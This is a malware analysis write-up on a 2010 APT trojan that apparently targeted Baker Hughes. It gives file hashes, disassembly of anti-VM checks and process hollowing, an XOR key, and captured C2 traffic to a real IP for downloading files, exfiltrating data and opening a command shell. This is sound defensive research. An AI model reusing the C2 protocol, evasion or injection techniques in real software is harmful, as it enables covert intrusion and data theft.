File Name: setup.exe File Size: 139264 bytes MD5: 95d42d365489a6e5ebdf62565c5c8aa2 SHA1: 18f9862d4e3dda663d808300b8f56cf143c72beb PE Time: 0x4C8F4139 [Tue Sep 14 09:32:41 2010 UTC] AV: 23/43 hits [VirusTotal]
0040176B . 8D85 D8FDFFFF LEA EAX, DWORD PTR SS:[EBP-228]
00401771 . 0F0108 SIDT FWORD PTR DS:[EAX]
00401774 . 8A40 05 MOV AL, BYTE PTR DS:[EAX+5]
00401777 . 3C FF CMP AL, 0FF
00401779 . 75 07 JNZ SHORT setup.00401782
File Name: msupdater.exe File Path: C:\Documents and Settings\username\Local Settings\Application Data\ File Size: 49152 bytes MD5: 374075ce8b6e8f0cd1f90009fd5a703b SHA1: c209a16144222cdd74f371d6782dc6ee6a52612d PE Time: 0x4C8F40EF [Tue Sep 14 09:31:27 2010 UTC] AV: 34/42 hits [VirusTotal] Note: The timestamps of this file are backdated to match those of svchost.exe File Name: FAVORITES.DAT File Path: C:\Documents and Settings\username\Local Settings\Application Data\ File Size: 40960 bytes MD5: 869b0629330955506799047700bf317a SHA1: f1b7af06dfed4af027f4f321c5b635eb4637bbc4 AV: (This file is encrypted) Note: The timestamps of this file are backdated to match those of svchost.ex
0040181E |. 0F0108 SIDT FWORD PTR DS:[EAX]
00401821 |. 8A40 05 MOV AL, BYTE PTR DS:[EAX+5]
00401824 |. 3C FF CMP AL, 0FF
00401826 |. 75 1B JNZ SHORT msupdate.00401843
00401828 |. 6A 02 PUSH 2 ; /Style = MB_ABORTRETRYIGNORE|MB_APPLMODAL
0040182A |. 68 90804000 PUSH msupdate.00408090 ; |Title = "ERROR"
0040182F |. 68 7C804000 PUSH msupdate.0040807C ; |Text = "Invalid parameter"
00401834 |. 6A 00 PUSH 0 ; |hOwner = NULL
00401836 |. FF15 0C714000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>] ; \MessageBoxA
File Name: favorites.exe File Size: 40960 bytes MD5: 5e3eaca3806769836c3ad9d46a209644 SHA1: 21c84d776a757e63e97c6faadf4855774613bf22 PE Time: 0x4C8F40BB [Tue Sep 14 09:30:35 2010 UTC] AV: 8/43 hits [VirusTotal
0040143F |. 56 PUSH ESI ; /pProcessInfo
00401440 |. 50 PUSH EAX ; |pStartupInfo
00401441 |. 53 PUSH EBX ; |CurrentDir => NULL
00401442 |. 53 PUSH EBX ; |pEnvironment => NULL
00401443 |. 6A 04 PUSH 4 ; |CreationFlags = CREATE_SUSPENDED
00401445 |. 53 PUSH EBX ; |InheritHandles => FALSE
00401446 |. 53 PUSH EBX ; |pThreadSecurity => NULL
00401447 |. 8D45 F0 LEA EAX, DWORD PTR SS:[EBP-10] ; |
0040144A |. 53 PUSH EBX ; |pProcessSecurity => NULL
0040144B |. 50 PUSH EAX ; |CommandLine
0040144C |. 53 PUSH EBX ; |ModuleFileName => NULL
0040144D |. C745 BC 01010>MOV DWORD PTR SS:[EBP-44], 101 ; |
00401454 |. 66:895D C0 MOV WORD PTR SS:[EBP-40], BX ; |
00401458 |. FF15 58704000 CALL DWORD PTR DS:[<&KERNEL32.CreateProcessA>] ; \CreateProcessA
00401698 |. 6A 00 PUSH 0 ; /pBytesWritten = NULL 0040169A |. 8B48 3C MOV ECX, DWORD PTR DS:[EAX+3C] ; | 0040169D |. FF75 1C PUSH DWORD PTR SS:[EBP+1C] ; |BytesToWrite 004016A0 |. 8B45 18 MOV EAX, DWORD PTR SS:[EBP+18] ; | 004016A3 |. 50 PUSH EAX ; |Buffer 004016A4 |. 895401 34 MOV DWORD PTR DS:[ECX+EAX+34], EDX ; | 004016A8 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |Address 004016AB |. FF75 C4 PUSH DWORD PTR SS:[EBP-3C] ; |hProcess 004016AE |. FFD6 CALL ESI ; \WriteProcessMemory The STACK looks like this: 0012F834 00000068 h... |hProcess = 00000068 (window) 0012F838 00400000 ..@. |Address = 400000 0012F83C 00890000 ..‰. |Buffer = 00890000 0012F840 0000C000 .À.. |BytesToWrite = C000 (49152.) 0012F844 00000000 .... \pBytesWritten = NULL
File Name: favorites.exe File Size: 40960 bytes MD5: 5e3eaca3806769836c3ad9d46a209644 SHA1: 21c84d776a757e63e97c6faadf4855774613bf22 PE Time: 0x4C8F40BB [Tue Sep 14 09:30:35 2010 UTC] AV: 8/43 hits [VirusTotal
Subroutine: 00401A20
Subroutine: 00404610
Subroutine: 004041C0
0040421D |. 8A1C08 |MOV BL, BYTE PTR DS:[EAX+ECX] ; Plain Text 00404220 |. 8A442C 18 |MOV AL, BYTE PTR SS:[ESP+EBP+18] ; XOR key: ldd46!yo 00404224 |. 32D8 |XOR BL, AL 00404226 |. 8D4C24 12 |LEA ECX, DWORD PTR SS:[ESP+12] 0040422A |. 8AD3 |MOV DL, BL 0040422C |. C0EA 04 |SHR DL, 4 0040422F |. 80C2 41 |ADD DL, 41
00404254 |. 80E3 0F |AND BL, 0F ; Lower nibble of BL * * * 0040426E |. 80C3 41 |ADD BL, 41 00404271 |. 83E1 03 |AND ECX, 3
Subroutine: 00404350
Subroutine: 00401CE0
GET /search?qu= HTTP/1.1 User-Agent: Firefox/2.0.0.2 Host: www.google.com Content-Length: 4 Connection: Keep-Alive news
GET /search59861?h1=51&h2=1&h3=BHI06233&h4=FIFEFDAHAPGDENCMFOFFFCAGAE HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 (compatible;BKANAHEAFPEM;) Host: 140.112.19.195 Connection: Keep-Alive
COMMUNICATION PROTOCOL
004020F4 . 3C 43 CMP AL, 43 004020F6 . 0F85 86000000 JNZ favorite.00402182
TROJAN FUNCTIONALITY
GET /search613522?h1=FIFEFDAHAPGDENCMFOFFFCAGAE HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 (compatible; Windows NT 5.2) Host: 140.112.19.195 Connection: Keep-Alive
=========================================================
Command: 0x0000003D – Download file to victim
0000h: 3D 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 =............... 0010h: 74 65 73 74 2E 65 78 65 test.exe
GET /download731106?h1=FIFEFDAHAPGDENCMFOFFFCAGAE HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; Windows NT 5.1)
Host: 140.112.19.195
Connection: Keep-Alive
Command: 0x0000003E – Upload file from victim
0000h: 3E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >............... 0010h: 65 78 66 69 6C 2E 74 78 74 exfil.txt
POST /upload8806?h1=FIFEFDAHAPGDENCMFOFMFGAEAE HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible;Windows NT 5.2)
Host: 140.112.19.195
Content-Length: 41
Connection: Keep-Alive
Cache-Control: no-cache
000000D8 ea d6 d7 cd 9e d7 cd 9e cd d1 d3 db 9e da df ca ........ ........
000000E8 df 9e cc db cd d7 da d7 d0 d9 9e d1 d0 9e ca d6 ........ ........
000000F8 db 9e c8 d7 dd ca d7 d3 90 ........ .
Command: 0x0000003F – Execute a file
0000h: 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?............... 0010h: 62 69 6E 74 65 78 74 2E 65 78 65 bintext.exe
Command: 0×00000040 – Command Shell
POST /search25548?h1=FIFEFDAHAPGDENCMFNFFFNAGAH HTTP/1.1 User-Agent: Mozilla/5.0 (compatible;Windows NT 5.1) Host: 140.112.19.195 Content-Length: 127 Connection: Keep-Alive Cache-Control: no-cache
000000CD f3 d7 dd cc d1 cd d1 d8 ca 9e e9 d7 d0 da d1 c9 ........ ........ 000000DD cd 9e e6 ee 9e e5 e8 db cc cd d7 d1 d0 9e 8b 90 ........ ........ 000000ED 8f 90 8c 88 8e 8e e3 b3 b4 96 fd 97 9e fd d1 ce ........ ........ 000000FD c7 cc d7 d9 d6 ca 9e 8f 87 86 8b 93 8c 8e 8e 8f ........ ........ 0000010D 9e f3 d7 dd cc d1 cd d1 d8 ca 9e fd d1 cc ce 90 ........ ........ 0000011D b3 b4 b3 b4 fd 84 e2 fa d1 dd cb d3 db d0 ca cd ........ ........ 0000012D 9e df d0 da 9e ed db ca ca d7 d0 d9 cd e2 cb cd ........ ........ 0000013D db cc d0 df d3 db e2 fa db cd d5 ca d1 ce 80 ........ .......
Command: 0×00000042 – Disconnect and sleep for 2 minutes.
Command: 0×00000045 – List running processes.
Command: 0×00000046 – Kill a process.
Command: 0×00000049 – Current directory listing.
Command: 0x0000004A – Directory listing of specified directory.
Command: 0x0000004D – Change the current working directory.
Command: 0x0000004E – Copy a file to the current working directory.
Command: 0x0000004F – Delete a file.
Command: 0×00000050 – Disconnect and sleep for 2 minutes.
Command: 0×00000051 – Retrieve victim’s system name and IP address(es).
Command: 0×00000053 – net view type results reported to C2 node.
Command: 0×00000054 – Change the Last Modified time of a file to match that of cmd.exe.
•And: &h2=1&h3= is hardcoded, as is: BHI06233
This is most likely a victim ID Marker which is common in this type of malware so that they can remember who they popped. They will also use victim names as 3rd level subdomains for their C2 callbacks.
Based on public reporting this trojan was specifically built to target and compromise Baker Hughes International.
http://www.bloomberg.com/news/2011-02-24/exxon-shell-bp-said-to-have-been-hacked-through-chinese-internet-servers.html
The only recognizable name is from Microsoft called Orsam, so if you got detection on your network with this your f****d by APT.
http://www.moneynews.com/Markets/HackingofDuPont-J-J-GEWereUndisclosedGoogle-TypeAttacks/2011/03/08/id/388761
Read more at Diocyde http://www.conanthedestroyer.net
Yes, I think BHI06233 is probably a way to identify the victim (i.e. an individual or company), or a grouping of victims.